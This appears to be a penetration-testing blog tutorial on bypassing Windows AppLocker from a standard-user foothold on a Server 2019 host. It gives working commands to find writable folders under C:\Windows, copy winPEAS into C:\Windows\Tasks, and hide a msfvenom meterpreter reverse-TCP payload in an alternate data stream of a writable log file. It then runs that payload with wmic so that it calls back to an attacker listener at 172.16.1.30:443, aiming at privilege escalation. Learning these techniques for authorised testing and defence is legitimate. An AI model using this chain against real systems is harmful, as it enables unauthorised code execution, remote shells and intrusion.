Introduction
In this post, we’ll talk about something called AppLocker Bypass. It’s like finding a way around a security feature in Windows called AppLocker. When AppLocker is turned on, it stops us from running certain files on a computer we want to access.
We’ll figure out if AppLocker is causing the problem when we can’t run our usual tools on the computer. Then, we’ll check if AppLocker is actually there and set up in the standard way. After that, we’ll learn about two tricks to get past AppLocker so we can use our tools.
AppLocker is a tool that lets someone decide which types of files can be run and where they can be run from. For example, a tech person might say that only certain programs can run from a specific folder on the computer.
AppLocker helps to control what programs and files people can use. It covers things like regular programs, scripts, and even special types of programs.
One important thing to know is that AppLocker only works on certain versions of Windows, like Windows 10 Enterprise and Server 2016 / 2019.
Enumerating AppLocker
In this scenario, we’ve managed to gain access to a Server 2019 computer as a regular user named Bill.
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
While we’re exploring the system at first, we choose to create a folder named C:\temp to organize our work.
Then, we set up an HTTP server on our own computer, which we’re using to attack the system. Next, we download a tool called winPEAS onto the victim machine.
If you don’t have winPEAS handy, you can download it from here.
Now that winPEAS is on the victim machine, we try to run it, but we hit a roadblock due to the group policy blocking our attempt.
This message suggests that AppLocker might be active on the victim machine. To confirm if AppLocker is indeed running, we can use the following PowerShell command:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Here, we can confirm that AppLocker is active, and it’s set with default rules on this machine for both executables and scripts.
These default rules allow running executables and scripts only from within specific folders like C:\Windows* or C:\Program Files*. This limitation means we can only run scripts from those folders or their subfolders (thanks to the wildcard). However, it’s worth noting that these folders typically have strict permissions by default.
For AppLocker, executable rules cover files with .exe and .com extensions linked to an application.
Script rules in AppLocker include file formats like .ps1, .bat, .cmd, .vbs, and .js.
So, what’s our next move from here? We could examine our permissions on all the folders within both C:\Program Files and C:\Windows.
Luckily, someone has already taken care of that and compiled a list of default folders where standard users can write within C:\Windows*.
AppLocker Bypass – Default Writeable Folders
If we head over to this GitHub page here, we’ll find that api0cradle has kindly put together a list of folders within C:\Windows* where standard users have write permissions by default:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Our job as the attacker now is to verify our permissions in each of these folders. We could use icacls against them individually, but for this demonstration, we’ll create a file and then use a for loop to run icacls against each line in the file.
First, we’ll create the icacls.txt file on our attacker machine by copying the list of default writable folders mentioned above and pasting them into a text editor, like this:
Now that the file is prepared, we can transfer it to the victim machine in the same manner as we did with winPEAS.
If you’re currently in a PowerShell prompt, use the ‘exit’ command to return to a cmd.exe prompt. This step is necessary for the for loop command to function correctly.
Great! Now that the icacls.txt file is on the victim machine, we can execute the following for loop command:
for /F %A in (C:\temp\icacls.txt) do ( cmd.exe /c icacls "%~A" 2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
This command will employ a for loop to execute icacls against each line in the icacls.txt file. Additionally, we’ve filtered the results to display only the folders where we have write permissions.
Trimming the output to just the first 10 results, we observe that we have write permissions in 3 of them!
So, all that’s left to do is to copy the executable we’re attempting to run into one of these folders where we’ve confirmed standard users have write access.
copy C:\temp\winPEASx64.exe C:\Windows\Tasks
Exactly! With the executable now in one of the writable folders, such as C:\Windows\Tasks, we can execute winPEAS, effectively bypassing the limitations imposed by AppLocker.
Indeed, while this method might be the simplest, administrators might have tightened permissions on the default writable folders within C:\Windows*. In such scenarios, we’ll need to resort to alternative methods to carry out our bypass.
AppLocker Bypass – Alternate Data Stream
Another method to bypass AppLocker involves embedding an executable into another file, known as an alternate data stream (ADS), and then executing the EXE from the ADS.
AppLocker rules don’t prevent executables from running within an ADS.
It’s important to note that when executing a file from an ADS, it opens a new window to run the program. This could pose an issue if we’re operating from a reverse shell, as we won’t see the output, for instance, from PEAS.
Since we lack GUI access at the moment, let’s switch the example from winPEAS to upgrading to a meterpreter shell.
For instance, if we couldn’t find any writable folders in C:\Windows*, our next option is to look for a writable folder or file in C:\Program Files.
Since there aren’t any default folders or files in C:\Program Files that are writable for standard users, we need to focus on non-default folders.
Upon checking C:\Program Files, we find a non-default folder named “Program,” so that’s where we’ll start.
Absolutely right. Our first step is to check our permissions on the folder. If we have write access here, we can simply copy our executables into this directory and execute them.
icacls "C:\Program Files\Program"
That’s unfortunate. Since we don’t have write permissions on this folder, we can’t copy our executables there.
Our next move is to examine the contents of the folder to identify any files where we might have write permissions.
icacls "C:\Program Files\Program\*"
Great find! Having write permissions on the TXT file is a lucky break.
Now, we can leverage this by creating an alternate data stream and embedding a meterpreter payload into the log file, then execute it.
Our initial step is to craft a meterpreter payload on our attacker machine and subsequently transfer it onto the victim’s machine.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o meterpreter64.exe
Now that the meterpreter payload is on the victim’s machine, we can embed it into the log file as an alternate data stream (ADS) using the following command:
type C:\temp\meterpreter64.exe > "C:\Program Files\Program\log.txt:meterpreter64.exe"
Using the /R switch with the dir command confirmed that our alternate data stream has indeed been created. Now, we must initiate a multi/handler listener on our attacker machine to intercept the meterpreter shell when we execute it.
We can streamline this process by setting up the listener options and starting the listener in one line, like this:
msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"
All that remains now is to execute the meterpreter payload from within the alternate data stream (ADS), like this:
wmic process call create '"C:\Program Files\Program\log.txt:meterpreter64.exe"'
Looks like our command did the trick! A new process popped up, and when we peeked back at our listener, guess what? We snagged ourselves a meterpreter shell!
Incredible, isn’t it? We managed to sidestep AppLocker by utilizing a writable file nestled in a folder where we lacked permissions. This nifty trick is sure to be useful. Plus, it’s worth noting that you can embed multiple executables in a single file, adding another layer of flexibility to your toolkit.
Conclusion
In both scenarios, we successfully bypassed AppLocker to execute our executables. Now, armed with the output from winPEAS, we can delve into discovering potential paths for privilege escalation.
Alternatively, we can explore testing exploits using the meterpreter session we initiated. Either way, we’re inching closer to gaining administrator or SYSTEM access thanks to our AppLocker bypass.
For additional methods to bypass AppLocker, take a look at this GitHub page here.
Also Read: Autorun Startup Registry Keys
